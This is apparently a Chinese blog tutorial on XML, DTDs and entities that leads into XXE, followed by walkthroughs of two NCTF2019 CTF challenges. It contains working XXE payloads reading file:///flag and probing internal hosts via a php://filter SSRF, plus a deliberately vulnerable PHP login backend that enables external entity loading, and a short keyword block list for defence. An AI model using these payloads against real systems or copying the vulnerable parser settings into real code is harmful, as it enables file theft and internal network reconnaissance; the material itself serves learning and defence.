XXE
XML
XML(External Markup Language)是一种标记,类似于HTML。与HTML的应用场景不同,XML是用于结构化、存储以及传输信息。
<?xml verison="1.0"?> <!--xml版本说明-->
<note> <!--根元素开始标签-->
<to>George</to> <!--note元素下的子元素-->
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> <!--根元素结束标签-->
XML没有预定义标签,以上note、to、from、heading和body都是使用者自己定义的标签。除此之外,XML具有自我描述性,例如上面的XML文档可以说明这是John给George的一个便签。
总的来说,XML是一种应用程序之间进行信息传输的工具。
XML教程:w3shool在线XML教程
DTD
DTD(Document Type Definition)文档类型定义,使用一系列合法的元素来定义文档的结构。
DTD 可以声明在 XML 文档中,也可作为一个外部引用。
DTD的用途是:
(1)描述XML的自身格式;
(2)团体内部使用规定的标准DTD来交换数据;(用同一模板的XML文档)
(3)验证XML文档数据。
DTD内部声明:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)> <!--ELEMENT关键字说明这是一个元素声明,声明note有4个子元素-->
<!ELEMENT to (#PCDATA)> <!--to元素包含的内容是可解析的字符数据,即能被XML处理器解析的数据,-->
<!ELEMENT from (#PCDATA)> <!--与之相对的是CDATA,不会被解析的字符数据,例如标签的属性值-->
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
DTD外部声明:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> <!--引入外部声明note.dtd-->
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
note.dtd
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
实体
1、实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
2、实体引用是对实体的引用。
3、实体可在内部或外部进行声明。
普通实体
内部声明:<!ENTITYT 实体名称 "普通文本">
实体引用:& 实体名称 ;
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY text "this is a text">
]>
<note>&text;</note>
解析后相当于:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY text "this is a text">
]>
<note>this is a text</note> <!--&text;替换成"this is a text"-->
外部声明:<!ENTITY 实体名称 SYSTEM "URI">
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY text SYSTEM "http://localhost/text.txt">
]>
<note>&text;</note>
text.txt
this is a text
参数实体
内部声明:<!ENTITY % 实体名称 "置换文本">
实体引用:% 实体名称 ;
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % p "<!ENTITY text 'this is a text'>">
%p; <!--替换后相当于:<!ENTITY text 'this is a text'>,这个实体声明可以生效-->
]>
<note>&text;</note>
外部声明:<!ENTITY % 实体名称 SYSTEM "URI">
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % p SYSTEM "http://localhost/note.dtd">
%p;
]>
<note>&text;</note>
note.dtd
<!ENTITY text "this is a text">
In the internal DTD subset, parameter-entity references MUST NOT occur within markup declarations; they may occur where markup declarations can occur. (This does not apply to references that occur in external parameter entities or to the external subset.)
在内部 DTD 子集中,参数实体引用只能出现在标记声明可以出现的地方,而不能在标记声明内部出
现。(这个约束不适用于出现在外部参数实体内的引用,也不适用于外部子集。)
意思就是在内部DTD子集中,上面的例子就是参数实体在标记声明中引用,这是可以的(只能这样),而参数实体不能在实体声明内部引用的例子如下:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % p "text">
<!ENTITY text "this is a %p;"> <!--这种情况就是在实体声明内部引用,错误-->
]>
<note>&text;</note>
如果是在外部子集,情况则相反:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % q SYSTEM "http://localhost/note.dtd">
%q;
]>
<note>&text;</note>
note.dtd
<!ENTITY % p "text">
<!ENTITY text "this is a %p;"> <!--%p;可以替换成"text"-->
XML处理器
抛开XML和DTD有关的定义和概念,XML和DTD只是纯文本,需要XML处理器对它们进行解析处理。
PHP中的simplexml_load 在libxml2.9.1以前,在默认情况下会解析外部实体,simplexml_load_string()函数可以解析处理XML数据。
在libxml2.9.1及其后的版本,默认不解析外部实体。
PHP的DOMDocument类用loadXML()方法也能处理XML数据。
测试
环境:windows 2003 server + php 5.4.33 + libxml 2.7.8
PHP代码:
<?php
$xml = simplexml_load_string($_REQUEST['xml']);
echo "<pre>";
print_r($xml);
实体引用时,"&"用于分隔URL或者http报文请求体中的参数,因此为了让它失去分隔作用,要用URL编码形式。(分析具体情况,例如如果http头部设置content-type:application/xml,就不需要URL编码。)
普通实体的声明和引用:
参数实体的声明和引用:
在内部DTD子集中,参数实体不能在实体声明中引用,否则解析错误:
如果在外部DTD子集中:
XXE
xxe(Xml External Entity)是xml外部实体,从名字来看,安全隐患是出现在“外部实体”中。
(1)在外部实体声明时,可以读取外部文件,那这说明会出现任意文件读取漏洞。
(2)在外部实体声明时,可以用http协议往外发送请求,那这说明会出现SSRF。除此之外,结合参数实体声明时可以读取外部文件,还能在外部DTD子集的实体声明内引用,那么可以产生“带外数据通道”的效果,可用于数据没有回显的情况。
CTF–[NCTF2019]Fake XML cookbook
题目地址:https://buuoj.cn/challenges
1、首页
2、设置浏览器代理,开启burpsuite监听,在username和password字段输入任意数据,捕获到报文后,发送一次看看回显。
3、msg标签是一个回显点,利用XXE读取文件数据后,在这里回显。
payload:
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY text "aaaaaaa">
]>
<user><username>&text;</username><password>paswd</password></user>
4、构造外部实体来读取目标文件系统中根目录下的flag文件。
payload:
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY text SYSTEM "file:///flag">
]>
<user><username>&text;</username><password>paswd</password></user>
后端代码:
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false); // 允许加载外部实体
$xmlfile = file_get_contents('php://input'); // 读取数据
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
DOMDocument::loadXML(string $source [, int $options = 0 ]):从字符串加载XML文档。$source是包含XML的字符串。成功返回 >TRUE,失败返回FALSE。如果静态调用,失败时返回DOMDocument或FALSE。
simplexml_import_dom(DOMNode $node [, string $class_name = “SimpleXMLElement” ]) :从DOM节点获取SimpleXMLElement对象。$node是一个DOM元素节点,$class_name是可选参数,simplexml_import_dom()将返回指定类的一个对象。该类应该扩展SimpleXMLElement类。返回一个SimpleXMLElement或者在失败时返回 FALSE。
CTF–[NCTF2019]True XML cookbook
题目地址同上
1、执行前一题的1-3步骤。
2、flag文件不在根目录下,是在同一内网的其它主机上,要探测其它主机,先知道内网的网段,读取/etc/hosts文件:
3、内网的网络号是173.185.66,扫描内网所有主机的80端口。
payload:
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY text SYSTEM "php://filter/read=convert.base64-encode/resource=http://173.185.66.178/">
]>
<user><username>&text;</username><password>passwd</password></user>
因为返回的数据含有很多奇怪的字符,这会影响到XML的解析,所以用php伪协议加上base64加密的包装器。
用burpsuite**:
4、分析响应报文,报错原因有两种:"Connection refused in…“和"No route to host in…”,前一种说明主机存活,但拒绝连接
后一种是没有转发给目的主机的路由项目,很有可能是不存活的主机。
没有报错的是成功返回数据的响应报文。这种主机也是存活的,并且开启80端口。
5、对所有成功返回的数据进行base64解密,发现flag是在173.185.66.11主机上。
hosts文件
Hosts - The static table lookup for host name(主机名查询静态表)
hosts文件是Linux系统中一个负责IP地址与域名快速解析的文件,以ASCII格式保存在“/etc”目录下,
文件名为“hosts”(不同的linux版本,这个配置文件也可能不同。比如Debian的对应文件是/etc/hostname)。
hosts文件包含了IP地址和主机名之间的映射,还包括主机名的别名。在没有域名服务器的情况下, 系统上的所有网络程序都通过查询该文件来解析对应于某个主机名的IP地址,否则就需要使用DNS服务程序来解决。
通常可以将常用的域名和IP地址映射加入到hosts文件中,实现快速方便的访问。
后端代码同上。
XXE防御(PHP)
(1)libxml_disable_entity_loader(true); 禁止加载外部实体
(2)过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
上一篇: XSS
下一篇: CG CTF-Web-变量覆盖(第一个)